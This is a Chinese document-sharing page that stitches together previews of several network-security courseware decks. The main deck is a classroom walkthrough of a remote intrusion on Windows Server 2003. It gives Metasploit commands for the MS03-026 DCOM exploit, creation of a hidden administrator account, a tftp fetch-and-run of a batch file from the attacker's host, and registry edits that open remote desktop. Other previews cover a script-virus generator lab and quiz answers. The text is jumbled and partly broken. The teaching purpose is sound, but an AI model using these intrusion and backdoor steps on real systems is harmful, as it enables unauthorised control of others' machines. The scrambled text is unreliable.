当前位置：文档之家 › 第6章 远程入侵

第6章 远程入侵

  • 格式：pptx
  • 大小：1.14 MB
  • 文档页数：33

下载文档原格式

  / 33

合集下载

网络安全基础 第六章——网络入侵与攻击技术

网络安全基础 第六章——网络入侵与攻击技术

实例
主要内容：
1. 网络入侵与攻击概述
2.网络攻击的基本步骤
3.典型的网络攻击技术
4. 操作系统中常用的网络工具
6.3.1 服务拒绝技术
一种通过耗尽CPU、内存、带宽以及磁盘空间等 系统资源，来阻止或削弱对网络、系统或应用程序的授 权使用的行为。 攻击原理是：利用各种手段不断向目标主机发送虚 假请求或垃圾信息等，使目标主机一直处于忙于应付或 一直处于等待回应的状态而无法为其他主机提供服务。
正常的三段握手图例
SYN FLOOD 攻击的三段握手攻击图例
链接
3．入侵者的攻击手段
陷阱门(Trapdoor)陷阱门 （6）外部攻击； 通常是指编程员在设计系统 时有意建立的进入手段。当 （7）内部攻击； 程序运行时，在正确的时间 （8）特洛伊木马。 按下正确的键，或提供正确 的参数，你就能绕过程序提 特洛伊木马程序是指任何提供了隐藏的与用户不希望 供的正常安全检查和错误跟 踪检查 的功能的程序。
是手段，在整个入侵过程中都存在攻击。入侵的目 的就是抢占资源，但它不一定有攻击能力，可能雇 佣攻击者来达到入侵目的。因此，攻击是由入侵者 发起并由攻击者实现的一种‚非法‛行为。
入侵：成功的攻击。 提示：在某种程度上，攻击和入侵很难区别。
3．入侵者的攻击手段
在网上用户能利用IE等浏览器进 （1）冒充 行各种各样的WEB站点的访问，如 阅读新闻组、咨询产品价格、订阅 （2）篡改 报纸、电子商务等。然而一般的用 （3）重放 户恐怕不会想到有这些问题存在： 正在访问的网页已被黑客篡改过， （4）服务拒绝 网页上的信息是虚假的！例如黑客 重放攻击与cookie 将用户要浏览的网页的URL改写为 指向黑客自己的服务器，当用户浏 我们监听http数据传输的截获的敏感数据 览目标网页的时候，实际上是向黑 大多数就是存放在cookie中的数据。其实在 客服务器发出请求，那么黑客就能 web安全中的通过其他方式（非网络监听）盗 达到欺骗的目的了。 取cookie与提交cookie也是一种重放攻击。我 们有时候可以轻松的复制别人的cookie直接获 得相应的权限。

第6章 计算机网络安全

第6章 计算机网络安全

（3）漏洞和后门的区别 漏洞和后门是不同的，漏洞是不可避免的， 无论是硬件还是软件都存在着漏洞；而后门 是完全可以避免的。漏洞是难以预知的，而 后门是人为故意设置的。
2.操作系统的安全
（1）Unix操作系统 ①Unix系统的安全性：控制台安全是Unix系统 安全的一个重要方面，当用户从控制台登录 到系统上时，系统会提示一些系统的有关信 息。提示用户输入用户的使用账号，用户输 入账号的内容显示在终端屏幕上，而后提示 用户输入密码，为了安全起见，此时用户输 入的密码则不会显示在终端屏幕上。如果用 户输入错误口令超过3次后，系统将锁定用户， 禁止其登录，这样可以有效防止外来系统的 侵入。
②Windows 2000的安全漏洞 资源共享漏洞、资源共享密码漏洞、Unicode 漏洞、全拼输入法漏洞、Windows 2000的账 号泄露问题、空登录问题等。这些漏洞除了 空登录问题需要更改文件格式从FAT32到NTFS 外，其余的漏洞在Microsoft最新推出的补丁 中已经得到纠正。
3.Windows XP操作系统
(1)公钥密码体制基本模型 明文：作为算法输入的可读消息或数据。 加密算法：加密算法对明文进行各种各样的 转换。 公共的和私有的密钥：选用的一对密钥，一 个用来加密，一个用来解密。解密算法进行 的实际转换取决于作为输入提供的公钥或私 钥。 密文：作为输出生成的杂乱的消息，它取决 于明文和密钥，对于给定的消息，两种不同 的密钥会生成两种不同的密文。 解密算法：这种算法以密文和对应的私有密 钥为输入，生成原始明文。
（2）加密技术用于网络安全通常有两种形式：
面向网络服务的加密技术通常工作在网络层 或传输层，使用经过加密的数据包传送、认 证网络路由及其他网络协议所需的信息，从 而保证网络的连通性和可用性不受损害。 面向网络应用服务的加密技术，不需要对电 子信息(数据包)所经过的网络的安全性能提 出特殊要求，对电子邮件等数据实现了端到 端的安全保障。

第6章网络攻击技术

第6章网络攻击技术

Socket 网络编程
l
l
Socket应用的基本步骤 Socket API 函数
6.4 网络监听


网络监听可以监视网络的状态、数据流动情况 以及网络上传输的信息，是网络管理员的一种 监视和管理网络的一种方法，但网络监听工具 也常是黑客们经常使用的工具。 网络监听可以在网上的任何一个位置实施，如 局域网中的主机、网关或远程网的调制解调器 之间等。黑客们用得最多的是截获用户的口令
1．获取口令 2．放置特洛伊木马 3．WWW的欺骗技术 4．电子邮件攻击 5．网络监听 6．寻找系统漏洞
6.2口令攻击


6.2.1获取用户账号的方法: (1)通过网络监听非法得到用户口令 sniffer (2)口令的穷举攻击 (3)利用系统管理员的失误


6.2.2设置安全的口令

6.6 拒绝服务DoS(Denial of Service)



造成DoS的攻击行为被称为DoS攻击.拒绝服 务攻击是指一个用户占据了大量的共享资源， 使系统没有剩余的资源给其它用户提供服务的 一种攻击方式。 凡是能导致合法用户不能够访问正常网络服务 的行为都算是拒绝服务攻击. 也就是说拒绝服务攻击的目的非常明确，就是 要阻止合法用户对正常网络资源的访问，从而 达成攻击者不可告人的目的.
6.3 端口扫描

3大类端口 公认端口0-1023。 注册端口1024-49151 动态和/或私有端口49152-65535

6.3 端口扫描



一个端口就是一个潜在的通信通道，也就是一 个入侵通道。对目标计算机进行端口扫描，能 得到许多有用的信息。 扫描器是检测远程或本地系统安全脆弱性的软 件。 一般把扫描器分为三类：数据库安全扫描器、 操作系统安全扫描器和网络安全扫描器，分别 针对于网络服务、应用程序、网络设备、网络 协议等。

实验六_网络攻击与防范

实验六_网络攻击与防范

《网络攻击与防范》实验报告（２）单击“下一步”按钮·进人如图 4-2 所示的“禁止功能选项”设定界面.根据需要进行设定。

例如。

如果选中“禁止右键菜单”复选框.当运行了该病毒后.右击时将无法弹出快捷菜单。

图 4-2 设置“禁止功能选项”（３）单击“下一步”按钮.进入如图 4-3 所示的“病毒提示对话框”设定界面时。

根据需要设置有关开机时病毒的执行情况。

当选中“设置开机提示对话框”复选框.并设置了提示框标题和内容等后，相关信息将以对话框方式在开机时自动显示图4-3 设置开机时病毒的执行情况（４）单击“下一步”按钮，进入如图 4-4 所示的“病毒传播选项”设定界面,根据需要进行设定。

当选中“通过电子邮件进行自动传播(蠕虫)”复选框时.病毒可以向指定数量的用户发送垃圾邮件。

图4-3 设置开机时病毒的执行情况下一步夏上一步图4-4“病毒传播选项”设定界面（５）单击“下一步”按钮，进入“IE 修改选项”设定界面,根据需要进行设定。

注意.当选中“设置默认主页”复选框后，会弹出“设置主页”对话框,需要读者输人要修改的IE 浏览器主页地址(即每次打开IE 浏览器时默认打开的主页地址).如图 4-5 所示图4-5设置IE浏览器修改选项（6）单击“下一步”按钮，在出现的如图 4-6 所示的对话框中选择所生成的脚本病毒存放的位置,单击“开始制造”按钮,生成病毒文件。

图4-6选择所生成的脚本病毒存放的位置此时,可看到相应路径下,已经生成了脚本病毒文件3.2感染病毒并观察感染后的系统变化情况（１）将生成的脚本病毒文件置于虚拟机中,在其上双击使之运行。

为保证完整准确地查看病毒的感染效果.可重启已经感染了病毒的虚拟机系统。

然后，根据病毒文件生成时的设置，观察系统感染了病毒后的表现情况。

主要操作步骤如下。

（２）观察系统文件夹下的异常变化，可以发现，在 C:\ Windows,C:\Windows\system32下多了不明来源的脚本文件。

[网络与信息安全基础(第2版)][王颖,蔡毅][电子课件] (1)[28页]

[网络与信息安全基础(第2版)][王颖,蔡毅][电子课件] (1)[28页]
个人信息（如生日、名字、反向拼写的登录名、房间中可 见的东西）、年份、以及机器中的命令等。 不要将口令写下来。 不要将口令存于电脑文件中。 不要让别人知道。
1.4.1 关于口令安全性（续1）
不要在不同系统上，特别是不同级别的用户上使用同一口 令。
为防止眼明手快的人窃取口令，在输入口令时应确认无人 在身边。
1.1.2 加强青少年的网络安全意识
1.2 什么是攻击
1.2.1 1.2.2 1.2.3 1.2.4
收集信息的主要方式 攻击的主要手段 入侵仅发生在入侵行为完全完成，且入 侵者已进入目标网络内的行为称为攻击。但更为积极的观 点是：所有可能使一个网络受到破坏的行为都称为攻击。 即从一个入侵者开始在目标机上工作的那个时刻起，攻击 就开始了。
忽或者不配合，那么攻击者就有可能通过这台计算机，从 内部来攻击其他的计算机。
6. 保持简单（Simplicity） 尽量降低系统的复杂度，越复杂的系统越容易隐藏一些
安全问题，建议不要在一台服务器上配置超过两种以上的 应用。
1.5 安全操作系统简介
操作系统是信息系统安全的基础设施，在信息安全方面起 着决定性的作用。信息系统安全在硬件方面关键是芯片， 在软件方面关键是操作系统。本小节主要讨论操作系统方 面的安全问题。
1.2.4 攻击对象排名
主机运行没有必要的服务。 未打补丁的、过时的应用软件和硬件固件。 信息泄露，通过服务如Gopher、Finger、Telnet、SNMP、
SMTP、Netstat等。 盗用信任关系如Rsh、Rlogin、Rexec。 配置不当的防火墙或路由器ACL（Access Control List,访问
1.4.3 广域网安全
1．加密技术 2．VPN技术 3．身份认证技术

第6章 计算机病毒木马和间谍软件与防治2

第6章 计算机病毒木马和间谍软件与防治2
3． 取消共享连接
文件和文件夹共享及IPC（ Internet Process Connection）连接是蠕虫常使用的入侵途径。所 以，为了防止蠕虫入侵，建议关闭不需要的共享 文件或文件夹以及IPC。
6.3 脚本病毒的清除和防治方法
脚本（Script）是使用一种特定的描述性语 言，依据一定的格式编写的可执行文件，又称 作宏或批处理文件。脚本通常可以由应用程序 临时调用并执行。因为脚本不仅可以减小网页 的规模和提高网页浏览速度，而且可以丰富网 页的表现（如动画、声音等），所以各类脚本 目前被广泛地应用于网页设计中。也正因为脚 本的这些特点，所以往往被一些别有用心的人 所利用。
蠕虫的编写技术与传统的病毒有所不同，许多 蠕虫是利用当前最新的编程语言与编程技术来编 写的，而且同一蠕虫程序易于修改，从而产生新 的变种，以逃避反病毒软件的搜索。现在大量的 蠕虫用Java、ActiveX、VB Script等技术，多潜 伏在HTML页面文件里，当打开相应的网页时则 自动触发。
3． 蠕虫与黑客技术相结合
1988年出现了第一个通过Internet传播的蠕 虫病毒Morris Worm，它曾导致Internet的通信 速度大大地降低。
从1990 年开始，Internet的应用为计算机 病毒编写者提供了一个可实现快速交流的平台 ，一些典型的计算机病毒使是大量病毒编写者 “集体智慧的结晶”。同年，开发出了第一个 多态病毒（通常称为 Chameleon 或 Casper） 。
与蠕虫相比，病毒可破坏计算机硬件、软件 和数据。
2． 蠕虫的特点
蠕虫属于计算机病毒的子类，所以也称为“蠕 虫病毒”。通常，蠕虫的传播无需人为干预，并 可通过网络进行自我复制，在复制过程中可能有 改动。与病毒相比，蠕虫可消耗内存或网络带宽 ，并导致计算机停止响应。

网络安全技术智慧树知到答案章节测试2023年

绪论单元测试1.网络安全威胁日益加剧的表现有哪些（）。

A:安全漏洞数量明显增多B:网络安全重大事件频现C:病毒传播仍十分突出D:网络攻击事件频发E:“僵尸网络”成为新的安全威胁答案:ABCDE2.以下属于网络违法犯罪仍处于上升期的表现的有（）。

A:针对计算机信息系统的技术犯罪略有上升B:利用互联网侵财性类案件较为突出C:网上危害社会管理秩序案件呈现新特点答案:ABC第一章测试1.关于“勒索病毒”的叙述，错误的是（）。

A:“勒索病毒”是一个程序B:“勒索病毒”会破坏计算机数据C:“勒索病毒”会损伤硬盘D:“勒索病毒”能自我复制答案:C2.下列属于网络安全威胁的包括（）。

A:网络诈骗B:信息泄露C:网络空间战D:网络欺凌答案:ABCD3.影响网络安全的因素不包括（）。

A:操作系统有漏洞B:通讯协议有漏洞C:网页上常有恶意的链接D:系统对处理数据的功能还不完善答案:D4.WannaCry主要利用微软MS17-010“永恒之蓝”漏洞进行传播的。

A:对B:错答案:A5.网络安全内容主要有物理安全、网络安全、系统安全、应用安全、管理安全五个方面。

A:错B:对答案:B6.影响网络安全的因素非常多，下列选项不属于影响网络安全因素的是（）。

A:TCP/IP协议的缺陷B:操作系统的漏洞C:开放性的网络环境D:OSI参考模型没有使用答案:D7.刑法285条规定，非法侵入计算机系统罪，以下属于情节严重的是（）。

A:获取支付结算、证券交易、期货交易等网络金融服务的身份认证信息10组以上的B:除网络金融服务之外的其他网站身份认证信息，获取100组以上C:非法控制计算机信息系统20台以上D:违法获取利益5000元人民币以上或者造成经济损失10000元以上答案:ACD8.刑法286条规定，对计算机信息系统功能进行删除、修改、增加、干扰，造成计算机信息系统不能正常运行，并且满足后果严重的条件，就构成违法犯罪。

以下哪些情况属于后果严重呢？A:造成十台以上计算机信息系统的主要软件或者硬件不能正常运行B:造成为一百台以上计算机信息系统提供域名解析、身份认证、计费等基础服务或者为一万以上用户提供服务的计算机信息系统不能正常运行累计一小时以上C:对二十台以上计算机信息系统中存储、处理或者传输的数据进行删除、修改、增加操作的D:违法所得五千元以上或者造成经济损失一万元以上的答案:ABCD9.下面等保2.0标准与等保1.0变化，不正确的是（）。

《网络安全》教学大纲(计算机科学)

《网络安全》课程教学大纲课程编码： 4300131 课程总学时： 48 ，理论学时：24 ，实践（实验）学时：24 课程学分：2开课学期： 7 适用专业：计算机技科学与技术一、教学目标使学生掌握网络安全的基本知识，并为学生进一步从事网络安全工作，做好知识准备；使学生掌握网络安全及其防范技术的基本方法，并能自觉运用安全管理的技术与规范；使学生了解网络安全的标准和法律法规，自觉维护网络系统的安全。

二、课程性质与任务本课程是计算机科学与技术专业学生的一门网络方向学科专业课。

主要讲述计算机系统的安全技术及其方法。

内容包括计算机系统的环境安全、软件安全、数据加密技术、网络安全与防火墙技术、计算机病毒的诊断与消除等。

三、预修课程学习本课程之前，应先学习计算机文化、计算机网络、操作系统和数据库原理等课程。

四、学时分配本课程总学时48学时，其中课堂讲授24学时，实验教学24学时。

课堂讲授内容与学五、讲授内容第一章网络安全概述教学目的和要求：了解网络安全研究的体系、研究网络安全的必要性、研究网络安全社会意义以及目前计算机网络安全的相关法规。

如何评价一个系统或者应用软件的安全等级。

教学难点和重点：重点是网络安全相关的基本概念，网络安全研究的体系结构以及配置实验环境。

难点是网络安全防护体系。

教学内容：第一节网络安全基础知识1 网络安全的定义2 网络安全的特征3网络安全的重要性第二节网络安全的主要威胁因素1 协议安全问题2 操作系统与应用程序漏洞3 安全管理问题4 黑客攻击5 网络犯罪第三节常用的防范措施1 完善安全管理制度2 采用访问控制3 数据加密措施4 数据备份与恢复第四节网络安全策略1 我国评价标准2 国际评价标准第五节环境配置1 安装VMware虚拟机2 配置VMware虚拟机3 Sniffer工具的介绍和使用第二章远程攻击的一般步骤教学目的和要求：要求掌握网络攻击的过程及其分类。

理解本地入侵和远程入侵的区别。

第6章-入侵检测和入侵防御系统只是课件

& 此时，执行snort命令时需要用“-c”选项指定入侵 检测时所使用的配置文件。
& Snort默认安装时，已经在/etc/snort目录提供了一 个例子配置文件，其文件名是snort.conf。
Linux系统上Snort配置
➢ /etc/snort/snort.conf文件是snort命令运行时的主 配置文件，为了使用的方便，用户可以在其中定义 许多变量，以便以后在其它位置进行引用。另外， Snort系统本身也使用某些名称的变量，用户赋予的 值将影响Snort的工作状态。变量的值一般是文件系 统中的路径、IP地址、端口号等。
Linux系统上Snort配置
执行snort命令时，可以通过指定命令行选项使 Snort工作于不同的状态，实际上，很多的命令行选 项都可以在snort.conf文件中进行配置，于是，就 不需要在snort命令行中指定了。除了命令行选项外 ，在snort.conf文件中还可以指定其它一些不能在 命令行中使用的选项。
持续重新检测。
小结
本章研究了入侵检测事件的主动响应概念， 给出了三种软件SnortSam、Fwsnort和 snort_inline在使用不同策略对Snort IDS事 件作出响应。
此课件下载可自行编辑修改，仅供参考！ 感谢您的支持，我们努力做得更好！谢谢
6.1入侵检测系统
• 我们可以通过入侵检测系统(IDS)和监控时间日志两种 方法就可以及时得到有关的网络安全事件。
入侵检测系统
• 入侵检测系统(IDS)是一种用来确定不需要的网 络活动，并向有关人员发警报以便及时采取措 施的检测系统。
注意：网络上不需要的活动不一定就是实际的入侵，可 以是任何不想要的活动。
第6章-入侵检测和入பைடு நூலகம்防御系统

信息安全(第6章)

9
E-Mail:LShun@ E-Mail:LShun@
6.1 安全审计
2.安全防御系统 2.安全防御系统
安全防御系统根据安全策略的要求， 安全防御系统根据安全策略的要求，选择相应的安全机制和 安全技术， 手段提高网络的安全性， 安全技术，采取技术和管理 手段提高网络的安全性，并在发生 安全事件时及时进行处理，实施安全防御，进行监控与检测， 安全事件时及时进行处理，实施安全防御，进行监控与检测，包 括安全保护、实时监测、响应、恢复这4个步骤。 括安全保护、实时监测、响应、恢复这4个步骤。 制定相应的安全管理制度或采用相应的规范， 制定相应的安全管理制度或采用相应的规范，包括两个层次 的工作： 的工作： (1)全局安全管理策略 (1)全局安全管理策略 (2)安全管理规范 (2)安全管理规范
E-Mail:LShun@ E-Mail:LShun@
6
6.1 安全审计
6.1.2 阅读审计日志
日志(Log)是指系统或软件生成的记录文件， 日志(Log)是指系统或软件生成的记录文件，通常是多用户可 (Log)是指系统或软件生成的记录文件 读的，一般采用字符形式或标准记录形式( wtmp)。 读的，一般采用字符形式或标准记录形式(如wtmp)。
3.风险评估应用技术和工具 3.风险评估应用技术和工具
(1)基于主机的风险评估工具 (1)基于主机的风险评估工具 (2)应用层风险评估工具 (2)应用层风险评估工具 (3)密码和账户检查工具 (3)密码和账户检查工具
10
E-Mail:LShun@ E-Mail:LShun@
6.1.1 审计的具体要求
审计的具体要求如下： 审计的具体要求如下： (1)自动收集所有由管理员在安装时所选定的 自动收集所有由管理员在安装时所选定的、 (1)自动收集所有由管理员在安装时所选定的、与安全性有关 的活动信息。 的活动信息。 (2)采用标准格式记录信息 采用标准格式记录信息。 (2)采用标准格式记录信息。
  1. 1、下载文档前请自行甄别文档内容的完整性，平台不提供额外的编辑、内容补充、找答案等附加服务。
  2. 2、"仅部分预览"的文档,不可在线预览部分如存在完整性等问题,可反馈申请退款(可完整预览的文档不适用该条件!)。
  3. 3、如文档侵犯您的权益，请联系客服反馈,我们会尽快为您处理(人工客服工作时间：9:00-18:30)。
但就在几个月前，美国和以色列还在警告伊朗只需一年就能拥有快速制造核武器的能力，为什么会突然出现如此重大的变化？ 因为布什尔核电站遭到“震网”病毒攻击，1/5的离心机报废。自2010年8月该核电站启用后就发生连串故障，伊朗政府表面声称是 天热所致，但真正原因却是核电站遭病毒攻击。一种名为“震网”（STUXNET）的蠕虫病毒侵入了伊朗工厂企业，甚至进入西门子 为核电站设计的工业控制软件，并可夺取对一系列核心生产设备尤其是核电设备的关键控制权。
思考
1、这两个案例中攻击者使用了哪些攻击技术？ 2、0day漏洞会产生什么后果？ 3、分析“震网”病毒是怎样传播的？有何危害？
6.1 远程入侵的分类
• 远程入侵是指攻击者利用服务器和操作系统存在的缺陷和安全漏洞，通过远程控制、上传 病毒木马等手段控制服务器并得到数据的访问权限。攻击者在远程入侵成功后往往可以在 用户不知情的情况下秘密窃取数据，也可以对数据进行恶意更改等操作
6.2 一次较为完整的远程入侵过程
为了将3389.BAT文件上传到远程主机上并运行，可以在攻击方的系统上安装tftp32软件作为tftp服 务端，将远程主机作为客户端，这样就可以从服务端来下载该文件，从而间接实现文件的上传。 如图6-6、6-7所示，做好tftp服务端的设置和上传文件准备工作。
图6-6 Tftp软件设置
IP地址 安装软件
192.168.1.9 Metasploit、tftpd32
192较为完整的远程入侵过程
1、在攻击方的系统上安装Metasploit软件，在Windows程序列表中找到“Metasploit 3”，打开 Metasploit Console，如图6-1所示
第6章 远程入侵
• 6.1 远程入侵的分类 • 6.2 一次较为完整的远程入侵过程 • 6.3 预留后门
案例一：“震网”病毒奇袭伊朗核电站
2011年2月，伊朗突然宣布暂时卸载首座核电站——布什尔核电站的核燃料，西方国家也悄悄对伊朗核计划进展预测进行了重 大修改。以色列战略事务部长摩西•亚阿隆在这之前称，伊朗至少需要3年才能制造出核弹。美国国务卿希拉里也轻描淡写地说，伊 朗的计划因为“技术问题”已被拖延。
（4）工业控制系统入侵
• 震网病毒是首个发现的专门针对西门子工业控制系统的病毒，曾经造成伊朗核电站推迟发电。这种针 对工业控制系统的入侵一般带有军事目的，将成为未来战争中的一种重要武器。
6.1 远程入侵的分类
• 根据入侵策略的不同，可以把远程入侵分为以下几种类型：
（1）主动定点式入侵
• 从字面上很容易理解，这种入侵的目标非常明确。先确定远程入侵的对象，然后采取各种攻击手段获 取攻击目标的系统控制权。主动定点式入侵的主要过程如下：身份隐藏->探测并确定攻击目标->远程 登陆，然后获得攻击目标的控制权->远程控制->预留后门->消灭踪迹。
微软调查结果显示：“震网”正在伊朗等中亚国家肆虐，发作频次越来越高，并有逐步向亚洲东部扩散的迹象。“震网”包含 空前复杂的恶意代码，是一种典型的计算机病毒，能自我复制，并将副本通过网络传输，任何一台个人电脑只要和染毒电脑相连， 自动传播给其他与之相连的电脑，最后造成大量网络流量的连锁效应，导致整个网络系统瘫痪。“震网”主要通过U盘和局域网进 行传播，是第一个利用WINDOWS的0DAY漏洞专门针对工业控制系统发动攻击的恶意软件，能够攻击石油运输管道、发电厂、大型 通信设施、机场等多种工业和民用基础设施，被称为“网络导弹”。
（2）欺骗诱导式入侵
• 不同于主动定点式入侵，这种入侵方式相对被动，一开始并没有明确的攻击目标，而是通过大量发送 电子邮件或者通过QQ、MSN等聊天工具广泛发送信息，诱骗上网用户打开某个已经被挂马的网站链接、 附件，或者下载某个已经被植入木马病毒的网络热门文件，一旦有用户中了木马，攻击者就可以随意 控制该用户的计算机。
6.2 一次较为完整的远程入侵过程
• 以入侵Windows Server 2003服务器为例，演示一次较为完整的远程入侵过程
序号 1 2 3 4
操作系统
表6-1 软件安装列表
软件名称
功能和作用
Metasploit
缓冲区溢出攻击
Tftpd32
tftp服务器
3389.bat
Windows自带远程桌面 连接
开启远程桌面 连接远程计算机桌面
表6-2 攻防实验配置
Host OS （攻击方） Guest OS （受攻击方）
Windows XP SP3
Windows 2003标准版 SP0
表6-3 3389.bat文件内容
3389.bat
echo Windows Registry Editor Version 5.00>>3389.reg echo [HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\ Terminal Server]>>3389.reg echo "fDenyTSConnections"=dword:00000000>>3389.reg echo [HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\ Terminal Server\Wds\rdpwd\Tds\tcp]>>3389.reg echo "PortNumber"=dword:00000d3d>>3389.reg echo [HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\ Terminal Server\WinStations\RDP-Tcp]>>3389.reg echo "PortNumber"=dword:00000d3d>>3389.reg regedit /s 3389.reg del 3389.reg
6.1 远程入侵的分类
• 根据入侵对象的不同，可以把远程入侵分为以下几种类型
（1）个人上网电脑入侵
• 通常利用个人电脑的各种系统漏洞和木马病毒，甚至利用社会工程学等手段实施入侵。
（2）服务器入侵
• 通常利用服务器的各种漏洞（0DAY漏洞、WEB漏洞等）实施入侵。
（3）无线网络入侵
• 一种模式是以破解无线网络信号的访问密码达到“蹭网”的目的。ROGUE AP是另一种入侵模式，其方法 是攻击者在无线网络中安放未经授权的AP或者客户机，提供对无线网络的开放式访问，无线网络用户 在不知情的情况下以为自己通过很好的信号连入了INTERNET，却不知自己的各类敏感信息已经遭到了 攻击者的监听，攻击者甚至可以将木马链接轻松插入用户访问的各个网址中。
图6-1 Metasploit Console主界面
6.2 一次较为完整的远程入侵过程
2、设置攻击参数，在命令提示符下依次输入以下命令： use exploit/windows/dcerpc/ms03_026_dcom //利用漏洞ms03_026实施入侵 > set RHOST 192.168.1.8 //设置远程入侵目标的ip地址 > set PAYLOAD windows/shell/bind_tcp //设置获取目标主机shell的方式 > exploit //输入exploit命令进行入侵
俄罗斯卡巴斯基实验室则认为，“火焰”病毒结构的复杂性和攻击目标的选择性与此前出现的“震网”病毒极 其相近，二者应“师出同门”。2010年7月，德国专家首先发现“震网”病毒，伊朗、印度尼西亚、印度等国部分 电脑用户反映受到这种病毒攻击。该病毒对电脑的传染性很强，可严重威胁工业系统的安全。西方媒体当时普遍猜 测“震网”病毒的目标是伊朗的布什尔核电站。
图6-2 成功获取远程主机的shell
6.2 一次较为完整的远程入侵过程
用ipconfig命令查看这台主机的IP，如图6-3所示
图6-3 远程主机的IP地址
6.2 一次较为完整的远程入侵过程
3、在远程主机上建立用户，并将该用户添加到管理员组，如图6-4所示，输入以下命令： > net user zjbti$ 123 /add //注意语法格式，123代表密码，后面有空格。 > net localgroup administrators zjbti$ /add
图6-11 利用远程桌面连接软件登录系统
6.2 一次较为完整的远程入侵过程
如图6-12所示，已经成功通过之前创建的zjbti$管理员账号登录远程系统，可以对远程主机进行各 种操作了。
案例二：网络战病毒“火焰”现身美国
2012年6月，肆虐中东的计算机病毒“火焰”现身美国网络空间，甚至攻破了微软公司的安全系统。微软公司已 经向用户提供了紧急的防火补丁。
微软公司发布警告称，“火焰”病毒的制作者已经找到使用微软安全系统来伪造安全证书的方法。这样，该病毒 就能在不被防病毒软件发现的情况下任意传播。微软公司现已修补了安全漏洞，并将自己被攻破的安全证书列入“ 不受信任的”证书名单中。
微软公司表示，由于“火焰”是一种定向精确的高级病毒，包括美国政府和金融机构在内的绝大部分微软用户都 不会被感染。但是，微软公司不得不采取行动，以防止“不老练”的网络攻击者效仿“火焰”技术进行漫无目标的广泛 攻击。
目前还没有国家或组织对“火焰”病毒宣称负责，但此间媒体已开始热议美国与伊朗的网络战争。一些网络安全 专家分析病毒代码后认为，“火焰”可能是针对伊朗网络战中的最新一波攻击，最可能由“某一富裕国家”研发，而据 信美国和以色列的嫌疑最大。
图6-7 Tftp文件下载列表
6.2 一次较为完整的远程入侵过程
如图6-8所示，输入如下命令： > tftp 192.168.1.9 get 3389.bat //从服务端下载3389.bat文件 > 3389.bat //运行批处理文件并开启远程桌面服务